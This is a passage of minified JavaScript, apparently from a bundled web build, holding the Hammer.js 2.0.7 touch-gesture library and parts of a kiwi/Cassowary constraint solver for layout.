i=function(t,e){var i=A(t.touches),n=A(t.changedTouches);return e&(R|B)&&(i=E(i.concat(n),\\\"identifier\\\",!0)),[i,n]}.call(this,t,e);e&(R|B)&&i[0].length-i[1].length==0&&(this.started=!1),this.callback(this.manager,e,{pointers:i[0],changedPointers:i[1],pointerType:F,srcEvent:t})}}});var ft={touchstart:I,touchmove:2,touchend:R,touchcancel:B},vt=\\\"touchstart touchmove touchend touchcancel\\\";function mt(){this.evTarget=vt,this.targetIds={},Q.apply(this,arguments)}d(mt,Q,{handler:function(t){var e=ft[t.type],i=function(t,e){var i=A(t.touches),n=this.targetIds;if(e&(2|I)&&1===i.length)return n[i[0].identifier]=!0,[i,i];var r,o,s=A(t.changedTouches),a=[],l=this.target;if(o=i.filter(function(t){return S(t.target,l)}),e===I)for(r=0;r<o.length;)n[o[r].identifier]=!0,r++;for(r=0;r<s.length;)n[s[r].identifier]&&a.push(s[r]),e&(R|B)&&delete n[s[r].identifier],r++;return a.length?[E(o.concat(a),\\\"identifier\\\",!0),a]:void 0}.call(this,t,e);i&&this.callback(this.manager,e,{pointers:i[0],changedPointers:i[1],pointerType:F,srcEvent:t})}});var gt=2500;function yt(){Q.apply(this,arguments);var t=f(this.handler,this);this.touch=new mt(this.manager,t),this.mouse=new at(this.manager,t),this.primaryTouch=null,this.lastTouches=[]}function bt(t){var e=t.changedPointers[0];if(e.identifier===this.primaryTouch){var i={x:e.clientX,y:e.clientY};this.lastTouches.push(i);var n=this.lastTouches;setTimeout(function(){var t=n.indexOf(i);-1<t&&n.splice(t,1)},gt)}}d(yt,Q,{handler:function(t,e,i){var n=i.pointerType==F,r=\\\"mouse\\\"==i.pointerType;if(!(r&&i.sourceCapabilities&&i.sourceCapabilities.firesTouchEvents)){if(n)(function(t,e){t&I?(this.primaryTouch=e.changedPointers[0].identifier,bt.call(this,e)):t&(R|B)&&bt.call(this,e)}).call(this,e,i);else if(r&&function(t){for(var e=t.srcEvent.clientX,i=t.srcEvent.clientY,n=0;n<this.lastTouches.length;n++){var r=this.lastTouches[n],o=Math.abs(e-r.x),s=Math.abs(i-r.y);if(o<=25&&s<=25)return!0}return!1}.call(this,i))return;this.callback(t,e,i)}},destroy:function(){this.touch.destroy(),this.mouse.destroy()}});var xt=M(e.style,\\\"touchAction\\\"),wt=xt!==x,kt=\\\"manipulation\\\",St=\\\"none\\\",Ct=\\\"pan-x\\\",Tt=\\\"pan-y\\\",At=function(){if(!wt)return!1;var e={},i=o.CSS&&o.CSS.supports;return[\\\"auto\\\",\\\"manipulation\\\",\\\"pan-y\\\",\\\"pan-x\\\",\\\"pan-x pan-y\\\",\\\"none\\\"].forEach(function(t){e[t]=!i||o.CSS.supports(\\\"touch-action\\\",t)}),e}();function Et(t,e){this.manager=t,this.set(e)}Et.prototype={set:function(t){\\\"compute\\\"==t&&(t=this.compute()),wt&&this.manager.element.style&&At[t]&&(this.manager.element.style[xt]=t),this.actions=t.toLowerCase().trim()},update:function(){this.set(this.manager.options.touchAction)},compute:function(){var e=[];return c(this.manager.recognizers,function(t){v(t.options.enable,[t])&&(e=e.concat(t.getTouchAction()))}),function(t){if(b(t,St))return St;var e=b(t,Ct),i=b(t,Tt);return e&&i?St:e||i?e?Ct:Tt:b(t,kt)?kt:\\\"auto\\\"}(e.join(\\\" \\\"))},preventDefaults:function(t){var e=t.srcEvent,i=t.offsetDirection;if(this.manager.session.prevented)e.preventDefault();else{var n=this.actions,r=b(n,St)&&!At.none,o=b(n,Tt)&&!At[Tt],s=b(n,Ct)&&!At[Ct];if(r){var a=1===t.pointers.length,l=t.distance<2,h=t.deltaTime<250;if(a&&l&&h)return}if(!s||!o)return r||o&&i&Y||s&&i&X?this.preventSrc(e):void 0}},preventSrc:function(t){this.manager.session.prevented=!0,t.preventDefault()}};var Mt=1;function Ot(t){this.options=s({},this.defaults,t||{}),this.id=O++,this.manager=null,this.options.enable=m(this.options.enable,!0),this.state=Mt,this.simultaneous={},this.requireFail=[]}function zt(t){return 16&t?\\\"cancel\\\":8&t?\\\"end\\\":4&t?\\\"move\\\":2&t?\\\"start\\\":\\\"\\\"}function Pt(t){return t==q?\\\"down\\\":t==U?\\\"up\\\":t==V?\\\"left\\\":t==G?\\\"right\\\":\\\"\\\"}function jt(t,e){var i=e.manager;return i?i.get(t):t}function Nt(){Ot.apply(this,arguments)}function Ft(){Nt.apply(this,arguments),this.pX=null,this.pY=null}function Dt(){Nt.apply(this,arguments)}function It(){Ot.apply(this,arguments),this._timer=null,this._input=null}function Rt(){Nt.apply(this,arguments)}function Bt(){Nt.apply(this,arguments)}function Lt(){Ot.apply(this,arguments),this.pTime=!1,this.pCenter=!1,this._timer=null,this._input=null,this.count=0}function Vt(t,e){return(e=e||{}).recognizers=m(e.recognizers,Vt.defaults.preset),new Gt(t,e)}function Gt(t,e){var i;this.options=s({},Vt.defaults,e||{}),this.options.inputTarget=this.options.inputTarget||t,this.handlers={},this.session={},this.recognizers=[],this.oldCssProps={},this.element=t,this.input=new((i=this).options.inputClass||(j?_t:N?mt:P?yt:at))(i,$),this.touchAction=new Et(this,this.options.touchAction),Ut(this,!0),c(this.options.recognizers,function(t){var e=this.add(new t[0](t[1]));t[2]&&e.recognizeWith(t[2]),t[3]&&e.requireFailure(t[3])},this)}function Ut(i,n){var r,o=i.element;o.style&&(c(i.options.cssProps,function(t,e){r=M(o.style,e),n?(i.oldCssProps[r]=o.style[r],o.style[r]=t):o.style[r]=i.oldCssProps[r]||\\\"\\\"}),n||(i.oldCssProps={}))}Ot.prototype={defaults:{},set:function(t){return s(this.options,t),this.manager&&this.manager.touchAction.update(),this},recognizeWith:function(t){if(n(t,\\\"recognizeWith\\\",this))return this;var e=this.simultaneous;return t=jt(t,this),e[t.id]||(e[t.id]=t).recognizeWith(this),this},dropRecognizeWith:function(t){return n(t,\\\"dropRecognizeWith\\\",this)||(t=jt(t,this),delete this.simultaneous[t.id]),this},requireFailure:function(t){if(n(t,\\\"requireFailure\\\",this))return this;var e=this.requireFail;return t=jt(t,this),-1===T(e,t)&&(e.push(t),t.requireFailure(this)),this},dropRequireFailure:function(t){if(n(t,\\\"dropRequireFailure\\\",this))return this;t=jt(t,this);var e=T(this.requireFail,t);return-1<e&&this.requireFail.splice(e,1),this},hasRequireFailures:function(){return 0<this.requireFail.length},canRecognizeWith:function(t){return!!this.simultaneous[t.id]},emit:function(e){var i=this,t=this.state;function n(t){i.manager.emit(t,e)}t<8&&n(i.options.event+zt(t)),n(i.options.event),e.additionalEvent&&n(e.additionalEvent),8<=t&&n(i.options.event+zt(t))},tryEmit:function(t){if(this.canEmit())return this.emit(t);this.state=32},canEmit:function(){for(var t=0;t<this.requireFail.length;){if(!(this.requireFail[t].state&(32|Mt)))return!1;t++}return!0},recognize:function(t){var e=s({},t);if(!v(this.options.enable,[this,e]))return this.reset(),void(this.state=32);56&this.state&&(this.state=Mt),this.state=this.process(e),30&this.state&&this.tryEmit(e)},process:function(t){},getTouchAction:function(){},reset:function(){}},d(Nt,Ot,{defaults:{pointers:1},attrTest:function(t){var e=this.options.pointers;return 0===e||t.pointers.length===e},process:function(t){var e=this.state,i=t.eventType,n=6&e,r=this.attrTest(t);return n&&(i&B||!r)?16|e:n||r?i&R?8|e:2&e?4|e:2:32}}),d(Ft,Nt,{defaults:{event:\\\"pan\\\",threshold:10,pointers:1,direction:H},getTouchAction:function(){var t=this.options.direction,e=[];return t&Y&&e.push(Tt),t&X&&e.push(Ct),e},directionTest:function(t){var e=this.options,i=!0,n=t.distance,r=t.direction,o=t.deltaX,s=t.deltaY;return r&e.direction||(e.direction&Y?(r=0===o?L:o<0?V:G,i=o!=this.pX,n=Math.abs(t.deltaX)):(r=0===s?L:s<0?U:q,i=s!=this.pY,n=Math.abs(t.deltaY))),t.direction=r,i&&n>e.threshold&&r&e.direction},attrTest:function(t){return Nt.prototype.attrTest.call(this,t)&&(2&this.state||!(2&this.state)&&this.directionTest(t))},emit:function(t){this.pX=t.deltaX,this.pY=t.deltaY;var e=Pt(t.direction);e&&(t.additionalEvent=this.options.event+e),this._super.emit.call(this,t)}}),d(Dt,Nt,{defaults:{event:\\\"pinch\\\",threshold:0,pointers:2},getTouchAction:function(){return[St]},attrTest:function(t){return this._super.attrTest.call(this,t)&&(Math.abs(t.scale-1)>this.options.threshold||2&this.state)},emit:function(t){if(1!==t.scale){var e=t.scale<1?\\\"in\\\":\\\"out\\\";t.additionalEvent=this.options.event+e}this._super.emit.call(this,t)}}),d(It,Ot,{defaults:{event:\\\"press\\\",pointers:1,time:251,threshold:9},getTouchAction:function(){return[\\\"auto\\\"]},process:function(t){var e=this.options,i=t.pointers.length===e.pointers,n=t.distance<e.threshold,r=t.deltaTime>e.time;if(this._input=t,!n||!i||t.eventType&(R|B)&&!r)this.reset();else if(t.eventType&I)this.reset(),this._timer=u(function(){this.state=8,this.tryEmit()},e.time,this);else if(t.eventType&R)return 8;return 32},reset:function(){clearTimeout(this._timer)},emit:function(t){8===this.state&&(t&&t.eventType&R?this.manager.emit(this.options.event+\\\"up\\\",t):(this._input.timeStamp=k(),this.manager.emit(this.options.event,this._input)))}}),d(Rt,Nt,{defaults:{event:\\\"rotate\\\",threshold:0,pointers:2},getTouchAction:function(){return[St]},attrTest:function(t){return this._super.attrTest.call(this,t)&&(Math.abs(t.rotation)>this.options.threshold||2&this.state)}}),d(Bt,Nt,{defaults:{event:\\\"swipe\\\",threshold:10,velocity:.3,direction:Y|X,pointers:1},getTouchAction:function(){return Ft.prototype.getTouchAction.call(this)},attrTest:function(t){var e,i=this.options.direction;return i&(Y|X)?e=t.overallVelocity:i&Y?e=t.overallVelocityX:i&X&&(e=t.overallVelocityY),this._super.attrTest.call(this,t)&&i&t.offsetDirection&&t.distance>this.options.threshold&&t.maxPointers==this.options.pointers&&w(e)>this.options.velocity&&t.eventType&R},emit:function(t){var e=Pt(t.offsetDirection);e&&this.manager.emit(this.options.event+e,t),this.manager.emit(this.options.event,t)}}),d(Lt,Ot,{defaults:{event:\\\"tap\\\",pointers:1,taps:1,interval:300,time:250,threshold:9,posThreshold:10},getTouchAction:function(){return[kt]},process:function(t){var e=this.options,i=t.pointers.length===e.pointers,n=t.distance<e.threshold,r=t.deltaTime<e.time;if(this.reset(),t.eventType&I&&0===this.count)return this.failTimeout();if(n&&r&&i){if(t.eventType!=R)return this.failTimeout();var o=!this.pTime||t.timeStamp-this.pTime<e.interval,s=!this.pCenter||it(this.pCenter,t.center)<e.posThreshold;this.pTime=t.timeStamp,this.pCenter=t.center,s&&o?this.count+=1:this.count=1,this._input=t;var a=this.count%e.taps;if(0===a)return this.hasRequireFailures()?(this._timer=u(function(){this.state=8,this.tryEmit()},e.interval,this),2):8}return 32},failTimeout:function(){return this._timer=u(function(){this.state=32},this.options.interval,this),32},reset:function(){clearTimeout(this._timer)},emit:function(){8==this.state&&(this._input.tapCount=this.count,this.manager.emit(this.options.event,this._input))}}),Vt.VERSION=\\\"2.0.7\\\",Vt.defaults={domEvents:!1,touchAction:\\\"compute\\\",enable:!0,inputTarget:null,inputClass:null,preset:[[Rt,{enable:!1}],[Dt,{enable:!1},[\\\"rotate\\\"]],[Bt,{direction:Y}],[Ft,{direction:Y},[\\\"swipe\\\"]],[Lt],[Lt,{event:\\\"doubletap\\\",taps:2},[\\\"tap\\\"]],[It]],cssProps:{userSelect:\\\"none\\\",touchSelect:\\\"none\\\",touchCallout:\\\"none\\\",contentZooming:\\\"none\\\",userDrag:\\\"none\\\",tapHighlightColor:\\\"rgba(0,0,0,0)\\\"}},Gt.prototype={set:function(t){return s(this.options,t),t.touchAction&&this.touchAction.update(),t.inputTarget&&(this.input.destroy(),this.input.target=t.inputTarget,this.input.init()),this},stop:function(t){this.session.stopped=t?2:1},recognize:function(t){var e=this.session;if(!e.stopped){var i;this.touchAction.preventDefaults(t);var n=this.recognizers,r=e.curRecognizer;(!r||r&&8&r.state)&&(r=e.curRecognizer=null);for(var o=0;o<n.length;)i=n[o],2===e.stopped||r&&i!=r&&!i.canRecognizeWith(r)?i.reset():i.recognize(t),!r&&14&i.state&&(r=e.curRecognizer=i),o++}},get:function(t){if(t instanceof Ot)return t;for(var e=this.recognizers,i=0;i<e.length;i++)if(e[i].options.event==t)return e[i];return null},add:function(t){if(n(t,\\\"add\\\",this))return this;var e=this.get(t.options.event);return e&&this.remove(e),this.recognizers.push(t),(t.manager=this).touchAction.update(),t},remove:function(t){if(n(t,\\\"remove\\\",this))return this;if(t=this.get(t)){var e=this.recognizers,i=T(e,t);-1!==i&&(e.splice(i,1),this.touchAction.update())}return this},on:function(t,e){if(t!==x&&e!==x){var i=this.handlers;return c(C(t),function(t){i[t]=i[t]||[],i[t].push(e)}),this}},off:function(t,e){if(t!==x){var i=this.handlers;return c(C(t),function(t){e?i[t]&&i[t].splice(T(i[t],e),1):delete i[t]}),this}},emit:function(t,e){var i,n,r;this.options.domEvents&&(i=t,n=e,(r=a.createEvent(\\\"Event\\\")).initEvent(i,!0,!0),(r.gesture=n).target.dispatchEvent(r));var o=this.handlers[t]&&this.handlers[t].slice();if(o&&o.length){e.type=t,e.preventDefault=function(){e.srcEvent.preventDefault()};for(var s=0;s<o.length;)o[s](e),s++}},destroy:function(){this.element&&Ut(this,!1),this.handlers={},this.session={},this.input.destroy(),this.element=null}},s(Vt,{INPUT_START:I,INPUT_MOVE:2,INPUT_END:R,INPUT_CANCEL:B,STATE_POSSIBLE:Mt,STATE_BEGAN:2,STATE_CHANGED:4,STATE_ENDED:8,STATE_RECOGNIZED:8,STATE_CANCELLED:16,STATE_FAILED:32,DIRECTION_NONE:L,DIRECTION_LEFT:V,DIRECTION_RIGHT:G,DIRECTION_UP:U,DIRECTION_DOWN:q,DIRECTION_HORIZONTAL:Y,DIRECTION_VERTICAL:X,DIRECTION_ALL:H,Manager:Gt,Input:Q,TouchAction:Et,TouchInput:mt,MouseInput:at,PointerEventInput:_t,TouchMouseInput:yt,SingleTouchInput:dt,Recognizer:Ot,AttrRecognizer:Nt,Tap:Lt,Pan:Ft,Swipe:Bt,Pinch:Dt,Rotate:Rt,Press:It,on:g,off:y,each:c,merge:p,extend:_,assign:s,inherit:d,bindFn:f,prefixed:M});var qt=void 0!==o?o:\\\"undefined\\\"!=typeof self?self:{};qt.Hammer=Vt,void 0!==Yt&&Yt.exports?Yt.exports=Vt:o.Hammer=Vt}(window,document)},function(t,e,i){var n,r,o=t(353);(r=n=i.Operator||(i.Operator={}))[r.Le=0]=\\\"Le\\\",r[r.Ge=1]=\\\"Ge\\\",r[r.Eq=2]=\\\"Eq\\\";var s=function(){function t(t,e,i){void 0===i&&(i=o.Strength.required),this._id=a++,this._operator=e,this._expression=t,this._strength=o.Strength.clip(i)}return t.Compare=function(t,e){return t.id-e.id},t.prototype.toString=function(){var t=this;return this._expression+\\\" \\\"+function(){switch(t._operator){case n.Le:return\\\"<=\\\";case n.Ge:return\\\">=\\\";case n.Eq:return\\\"==\\\"}}()+\\\" 0\\\"},Object.defineProperty(t.prototype,\\\"id\\\",{get:function(){return this._id},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"expression\\\",{get:function(){return this._expression},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"op\\\",{get:function(){return this._operator},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"strength\\\",{get:function(){return this._strength},enumerable:!0,configurable:!0}),t}();i.Constraint=s;var a=0},function(t,e,i){var h=t(357),u=t(360),c=t(351),n=function(){function t(){var t=function(t){for(var e=0,i=function(){return 0},n=c.createMap(u.Variable.Compare),r=0,o=t.length;r<o;++r){var s=t[r];if(\\\"number\\\"==typeof s)e+=s;else if(s instanceof u.Variable)n.setDefault(s,i).second+=1;else{if(!(s instanceof Array))throw new Error(\\\"invalid Expression argument: \\\"+JSON.stringify(s));if(2!==s.length)throw new Error(\\\"array must have length 2\\\");var a=s[0],l=s[1];if(\\\"number\\\"!=typeof a)throw new Error(\\\"array item 0 must be a number\\\");if(!(l instanceof u.Variable))throw new Error(\\\"array item 1 must be a variable\\\");n.setDefault(l,i).second+=a}}return{terms:n,constant:e}}(arguments);this._terms=t.terms,this._constant=t.constant}return t.prototype.toString=function(){var e=[];h.forEach(this._terms,function(t){e.push([t.first,t.second])});for(var t=!0,i=\\\"\\\",n=0,r=e;n<r.length;n++){var o=r[n],s=o[0],a=o[1];t?(t=!1,i+=1==a?\\\"\\\"+s:-1==a?\\\"-\\\"+s:a+\\\"*\\\"+s):i+=1==a?\\\" + \\\"+s:-1==a?\\\" - \\\"+s:0<=a?\\\" + \\\"+a+s:\\\" - \\\"+-a+s}var l=this.constant;return l<0?i+=\\\" - \\\"+-l:0<l&&(i+=\\\" + \\\"+l),i},Object.defineProperty(t.prototype,\\\"terms\\\",{get:function(){return this._terms},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"constant\\\",{get:function(){return this._constant},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"value\\\",{get:function(){var e=this._constant;return h.forEach(this._terms,function(t){e+=t.first.value*t.second}),e},enumerable:!0,configurable:!0}),t}();i.Expression=n},function(t,e,i){\\n      /*-----------------------------------------------------------------------------\\n          | Copyright (c) 2014, Nucleic Development Team.\\n          |\\n          | Distributed under the terms of the Modified BSD License.\\n          |\\n          | The full license is in the file COPYING.txt, distributed with this software.\\n          |----------------------------------------------------------------------------*/\\n      function n(t){for(var e in t)i.hasOwnProperty(e)||(i[e]=t[e])}n(t(360)),n(t(349)),n(t(348)),n(t(353)),n(t(352))},function(t,e,i){var n=t(357);i.createMap=function(t){return new n.AssociativeArray(t)}},function(t,e,i){var g,n,r=t(360),a=t(349),y=t(348),b=t(353),o=t(351),s=t(357),l=function(){function t(){this._cnMap=o.createMap(y.Constraint.Compare),this._rowMap=o.createMap(h.Compare),this._varMap=o.createMap(r.Variable.Compare),this._editMap=o.createMap(r.Variable.Compare),this._infeasibleRows=[],this._objective=new k,this._artificial=null,this._idTick=0}return t.prototype.addConstraint=function(t){var e=this._cnMap.find(t);if(void 0!==e)throw new Error(\\\"duplicate constraint\\\");var i=this._createRow(t),n=i.row,r=i.tag,o=this._chooseSubject(n,r);if(o.type()===g.Invalid&&n.allDummies()){if(!x(n.constant())){for(var s=[],a=0,l=t.expression.terms._array;a<l.length;a++){var h=l[a];s.push(h.first.name)}var u=[\\\"LE\\\",\\\"GE\\\",\\\"EQ\\\"][t.op];throw new Error(\\\"unsatisfiable constraint [\\\"+s.join(\\\",\\\")+\\\"] operator: \\\"+u)}o=r.marker}if(o.type()===g.Invalid){if(!this._addWithArtificialVariable(n))throw new Error(\\\"unsatisfiable constraint\\\")}else n.solveFor(o),this._substitute(o,n),this._rowMap.insert(o,n);this._cnMap.insert(t,r),this._optimize(this._objective)},t.prototype.removeConstraint=function(t,e){void 0===e&&(e=!1);var i=this._cnMap.erase(t);if(void 0===i){if(e)return;throw new Error(\\\"unknown constraint\\\")}this._removeConstraintEffects(t,i.second);var n=i.second.marker,r=this._rowMap.erase(n);if(void 0===r){var o=this._getMarkerLeavingSymbol(n);if(o.type()===g.Invalid)throw new Error(\\\"failed to find leaving row\\\");(r=this._rowMap.erase(o)).second.solveForEx(o,n),this._substitute(n,r.second)}this._optimize(this._objective)},t.prototype.hasConstraint=function(t){return this._cnMap.contains(t)},t.prototype.addEditVariable=function(t,e){var i=this._editMap.find(t);if(void 0!==i)throw new Error(\\\"duplicate edit variable: \\\"+t.name);if((e=b.Strength.clip(e))===b.Strength.required)throw new Error(\\\"bad required strength\\\");var n=new a.Expression(t),r=new y.Constraint(n,y.Operator.Eq,e);this.addConstraint(r);var o=this._cnMap.find(r).second,s={tag:o,constraint:r,constant:0};this._editMap.insert(t,s)},t.prototype.removeEditVariable=function(t,e){void 0===e&&(e=!1);var i=this._editMap.erase(t);if(void 0===i){if(e)return;throw new Error(\\\"unknown edit variable: \\\"+t.name)}this.removeConstraint(i.second.constraint,e)},t.prototype.hasEditVariable=function(t){return this._editMap.contains(t)},t.prototype.suggestValue=function(t,e){var i=this._editMap.find(t);if(void 0===i)throw new Error(\\\"unknown edit variable: \\\"+t.name);var n=this._rowMap,r=i.second,o=e-r.constant;r.constant=e;var s=r.tag.marker,a=n.find(s);if(void 0!==a)return a.second.add(-o)<0&&this._infeasibleRows.push(s),void this._dualOptimize();var l=r.tag.other;if(void 0!==(a=n.find(l)))return a.second.add(o)<0&&this._infeasibleRows.push(l),void this._dualOptimize();for(var h=0,u=n.size();h<u;++h){var c=n.itemAt(h),_=c.second,p=_.coefficientFor(s);0!==p&&_.add(o*p)<0&&c.first.type()!==g.External&&this._infeasibleRows.push(c.first)}this._dualOptimize()},t.prototype.updateVariables=function(){for(var t=this._varMap,e=this._rowMap,i=0,n=t.size();i<n;++i){var r=t.itemAt(i),o=e.find(r.second),s=0;void 0!==o&&-0===(s=o.second.constant())&&(s=0),r.first.setValue(s)}},t.prototype.getConstraints=function(){var e=[];return s.forEach(this._cnMap,function(t){e.push(t.first)}),e},Object.defineProperty(t.prototype,\\\"numConstraints\\\",{get:function(){return this._cnMap.size()},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"numEditVariables\\\",{get:function(){return this._editMap.size()},enumerable:!0,configurable:!0}),t.prototype._getVarSymbol=function(t){var e=this;return this._varMap.setDefault(t,function(){return e._makeSymbol(g.External)}).second},t.prototype._createRow=function(t){for(var e=t.expression,i=new k(e.constant),n=e.terms,r=0,o=n.size();r<o;++r){var s=n.itemAt(r);if(!x(s.second)){var a=this._getVarSymbol(s.first),l=this._rowMap.find(a);void 0!==l?i.insertRow(l.second,s.second):i.insertSymbol(a,s.second)}}var h=this._objective,u=t.strength,c={marker:w,other:w};switch(t.op){case y.Operator.Le:case y.Operator.Ge:var _=t.op===y.Operator.Le?1:-1,p=this._makeSymbol(g.Slack);if(c.marker=p,i.insertSymbol(p,_),u<b.Strength.required){var d=this._makeSymbol(g.Error);c.other=d,i.insertSymbol(d,-_),h.insertSymbol(d,u)}break;case y.Operator.Eq:if(u<b.Strength.required){var f=this._makeSymbol(g.Error),v=this._makeSymbol(g.Error);c.marker=f,c.other=v,i.insertSymbol(f,-1),i.insertSymbol(v,1),h.insertSymbol(f,u),h.insertSymbol(v,u)}else{var m=this._makeSymbol(g.Dummy);c.marker=m,i.insertSymbol(m)}}return i.constant()<0&&i.reverseSign(),{row:i,tag:c}},t.prototype._chooseSubject=function(t,e){for(var i=t.cells(),n=0,r=i.size();n<r;++n){var o=i.itemAt(n);if(o.first.type()===g.External)return o.first}var s=e.marker.type();return(s===g.Slack||s===g.Error)&&t.coefficientFor(e.marker)<0?e.marker:((s=e.other.type())===g.Slack||s===g.Error)&&t.coefficientFor(e.other)<0?e.other:w},t.prototype._addWithArtificialVariable=function(t){var e=this._makeSymbol(g.Slack);this._rowMap.insert(e,t.copy()),this._artificial=t.copy(),this._optimize(this._artificial);var i=x(this._artificial.constant());this._artificial=null;var n=this._rowMap.erase(e);if(void 0!==n){var r=n.second;if(r.isConstant())return i;var o=this._anyPivotableSymbol(r);if(o.type()===g.Invalid)return!1;r.solveForEx(e,o),this._substitute(o,r),this._rowMap.insert(o,r)}for(var s=this._rowMap,a=0,l=s.size();a<l;++a)s.itemAt(a).second.removeSymbol(e);return this._objective.removeSymbol(e),i},t.prototype._substitute=function(t,e){for(var i=this._rowMap,n=0,r=i.size();n<r;++n){var o=i.itemAt(n);o.second.substitute(t,e),o.second.constant()<0&&o.first.type()!==g.External&&this._infeasibleRows.push(o.first)}this._objective.substitute(t,e),this._artificial&&this._artificial.substitute(t,e)},t.prototype._optimize=function(t){for(;;){var e=this._getEnteringSymbol(t);if(e.type()===g.Invalid)return;var i=this._getLeavingSymbol(e);if(i.type()===g.Invalid)throw new Error(\\\"the objective is unbounded\\\");var n=this._rowMap.erase(i).second;n.solveForEx(i,e),this._substitute(e,n),this._rowMap.insert(e,n)}},t.prototype._dualOptimize=function(){for(var t=this._rowMap,e=this._infeasibleRows;0!==e.length;){var i=e.pop(),n=t.find(i);if(void 0!==n&&n.second.constant()<0){var r=this._getDualEnteringSymbol(n.second);if(r.type()===g.Invalid)throw new Error(\\\"dual optimize failed\\\");var o=n.second;t.erase(i),o.solveForEx(i,r),this._substitute(r,o),t.insert(r,o)}}},t.prototype._getEnteringSymbol=function(t){for(var e=t.cells(),i=0,n=e.size();i<n;++i){var r=e.itemAt(i),o=r.first;if(r.second<0&&o.type()!==g.Dummy)return o}return w},t.prototype._getDualEnteringSymbol=function(t){for(var e=Number.MAX_VALUE,i=w,n=t.cells(),r=0,o=n.size();r<o;++r){var s=n.itemAt(r),a=s.first,l=s.second;if(0<l&&a.type()!==g.Dummy){var h=this._objective.coefficientFor(a),u=h/l;u<e&&(e=u,i=a)}}return i},t.prototype._getLeavingSymbol=function(t){for(var e=Number.MAX_VALUE,i=w,n=this._rowMap,r=0,o=n.size();r<o;++r){var s=n.itemAt(r),a=s.first;if(a.type()!==g.External){var l=s.second,h=l.coefficientFor(t);if(h<0){var u=-l.constant()/h;u<e&&(e=u,i=a)}}}return i},t.prototype._getMarkerLeavingSymbol=function(t){for(var e=Number.MAX_VALUE,i=e,n=e,r=w,o=r,s=r,a=r,l=this._rowMap,h=0,u=l.size();h<u;++h){var c=l.itemAt(h),_=c.second,p=_.coefficientFor(t);if(0!==p){var d=c.first;if(d.type()===g.External)a=d;else if(p<0){var f=-_.constant()/p;f<i&&(i=f,o=d)}else{var f=_.constant()/p;f<n&&(n=f,s=d)}}}return o!==r?o:s!==r?s:a},t.prototype._removeConstraintEffects=function(t,e){e.marker.type()===g.Error&&this._removeMarkerEffects(e.marker,t.strength),e.other.type()===g.Error&&this._removeMarkerEffects(e.other,t.strength)},t.prototype._removeMarkerEffects=function(t,e){var i=this._rowMap.find(t);void 0!==i?this._objective.insertRow(i.second,-e):this._objective.insertSymbol(t,-e)},t.prototype._anyPivotableSymbol=function(t){for(var e=t.cells(),i=0,n=e.size();i<n;++i){var r=e.itemAt(i),o=r.first.type();if(o===g.Slack||o===g.Error)return r.first}return w},t.prototype._makeSymbol=function(t){return new h(t,this._idTick++)},t}();function x(t){return t<0?-t<1e-8:t<1e-8}i.Solver=l,(n=g||(g={}))[n.Invalid=0]=\\\"Invalid\\\",n[n.External=1]=\\\"External\\\",n[n.Slack=2]=\\\"Slack\\\",n[n.Error=3]=\\\"Error\\\",n[n.Dummy=4]=\\\"Dummy\\\";var h=function(){function t(t,e){this._id=e,this._type=t}return t.Compare=function(t,e){return t.id()-e.id()},t.prototype.id=function(){return this._id},t.prototype.type=function(){return this._type},t}(),w=new h(g.Invalid,-1),k=function(){function e(t){void 0===t&&(t=0),this._cellMap=o.createMap(h.Compare),this._constant=t}return e.prototype.cells=function(){return this._cellMap},e.prototype.constant=function(){return this._constant},e.prototype.isConstant=function(){return this._cellMap.empty()},e.prototype.allDummies=function(){for(var t=this._cellMap,e=0,i=t.size();e<i;++e){var n=t.itemAt(e);if(n.first.type()!==g.Dummy)return!1}return!0},e.prototype.copy=function(){var t=new e(this._constant);return t._cellMap=this._cellMap.copy(),t},e.prototype.add=function(t){return this._constant+=t},e.prototype.insertSymbol=function(t,e){void 0===e&&(e=1);var i=this._cellMap.setDefault(t,function(){return 0});x(i.second+=e)&&this._cellMap.erase(t)},e.prototype.insertRow=function(t,e){void 0===e&&(e=1),this._constant+=t._constant*e;for(var i=t._cellMap,n=0,r=i.size();n<r;++n){var o=i.itemAt(n);this.insertSymbol(o.first,o.second*e)}},e.prototype.removeSymbol=function(t){this._cellMap.erase(t)},e.prototype.reverseSign=function(){this._constant=-this._constant;for(var t=this._cellMap,e=0,i=t.size();e<i;++e){var n=t.itemAt(e);n.second=-n.second}},e.prototype.solveFor=function(t){var e=this._cellMap,i=e.erase(t),n=-1/i.second;this._constant*=n;for(var r=0,o=e.size();r<o;++r)e.itemAt(r).second*=n},e.prototype.solveForEx=function(t,e){this.insertSymbol(t,-1),this.solveFor(e)},e.prototype.coefficientFor=function(t){var e=this._cellMap.find(t);return void 0!==e?e.second:0},e.prototype.substitute=function(t,e){var i=this._cellMap.erase(t);void 0!==i&&this.insertRow(e,i.second)},e}()},function(t,e,i){!function(e){function t(t,e,i,n){void 0===n&&(n=1);var r=0;return r+=1e6*Math.max(0,Math.min(1e3,t*n)),r+=1e3*Math.max(0,Math.min(1e3,e*n)),r+=Math.max(0,Math.min(1e3,i*n))}e.create=t,e.required=t(1e3,1e3,1e3),e.strong=t(1,0,0),e.medium=t(0,1,0),e.weak=t(0,0,1),e.clip=function(t){return Math.max(0,Math.min(e.required,t))}}(i.Strength||(i.Strength={}))},function(t,e,i){var l=t(358);function o(t,e,i){for(var n,r,o=0,s=t.length;0<s;)i(t[r=o+(n=s>>1)],e)<0?(o=r+1,s-=n+1):s=n;return o}i.lowerBound=o,i.binarySearch=function(t,e,i){var n=o(t,e,i);if(n===t.length)return-1;var r=t[n];return 0!==i(r,e)?-1:n},i.binaryFind=function(t,e,i){var n=o(t,e,i);if(n!==t.length){var r=t[n];if(0===i(r,e))return r}},i.asSet=function(t,e){var i=l.asArray(t),n=i.length;if(n<=1)return i;i.sort(e);for(var r=[i[0]],o=1,s=0;o<n;++o){var a=i[o];0!==e(r[s],a)&&(r.push(a),++s)}return r},i.setIsDisjoint=function(t,e,i){for(var n=0,r=0,o=t.length,s=e.length;n<o&&r<s;){var a=i(t[n],e[r]);if(a<0)++n;else{if(!(0<a))return!1;++r}}return!0},i.setIsSubset=function(t,e,i){var n=t.length,r=e.length;if(r<n)return!1;for(var o=0,s=0;o<n&&s<r;){var a=i(t[o],e[s]);if(a<0)return!1;0<a||++o,++s}return!(o<n)},i.setUnion=function(t,e,i){for(var 